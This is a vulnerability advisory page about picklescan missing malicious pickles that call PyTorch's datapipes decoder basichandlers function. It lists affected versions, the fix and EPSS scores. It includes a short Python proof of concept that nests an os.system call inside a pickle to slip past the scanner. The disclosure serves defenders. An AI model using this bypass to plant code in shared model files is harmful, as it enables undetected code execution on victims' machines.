Loading advisory.
Loading advisory.
Picklescan missing detection when calling pytorch function torch.utils.data.datapipes.utils.decoder.basichandlers
Using torch.utils.data.datapipes.utils.decoder.basichandlers function, which is a pytorch library function to execute remote pickle file.
Published 2025-08-22 16:57 UTC · Modified 2026-07-08 07:23 UTC
Severity and EPSS are shown separately. Helm does not combine them into one score.
| Package | Ecosystem | Affected | Fixed in | Upgrade command |
|---|---|---|---|---|
| picklescan | PyPI | < 0.0.28 versions 0.0.1, 0.0.10, 0.0.11, 0.0.12, 0.0.13, 0.0.14, 0.0.15, 0.0.16, 0.0.17, 0.0.18, 0.0.19, 0.0.2, 0.0.20, 0.0.21, 0.0.22, 0.0.23, 0.0.24, 0.0.25, 0.0.26, 0.0.27 and 7 more | 0.0.28 | pip install --upgrade 'picklescan>=0.0.28' |
Using torch.utils.data.datapipes.utils.decoder.basichandlers function, which is a pytorch library function to execute remote pickle file.
The attack payload executes in the following steps:
First, the attacker craft the payload by calling to torch.utils.data.datapipes.utils.decoder.basichandlers function in reduce method Then when the victim after checking whether the pickle file is safe by using Picklescan library and this library doesn't dectect any dangerous functions, decide to pickle.load() this malicious pickle file, thus lead to remote code execution.
import torch.utils.data.datapipes.utils.decoder as decoder
class EvilTorchUtilsDataDatapipesDecoder:
def __reduce__(self):
extension = 'pickle'
class RCE:
def __reduce__(self):
return os.system, ('whoami',)
data = pickle.dumps(RCE())
return decoder.basichandlers, (extension, data)Who is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models. What is the impact? Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded. Supply Chain Attack: Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects.
https://github.com/FredericDT https://github.com/Qhaoduoyu
No public exploit code known to Helm's sources (Nuclei templates, Metasploit, Exploit-DB and PoC-in-GitHub). That does not mean none exists.
EPSS went from 0.006 on 2026-11-24 to 0.006 on 2026-11-26, over 2 recorded scores.
| Date | Score | Previous | Model |
|---|---|---|---|
| 2026-11-24 | 0.006 | first score | v2026.06.15 |
| 2026-11-26 | 0.006 | 0.006 | v2026.06.15 |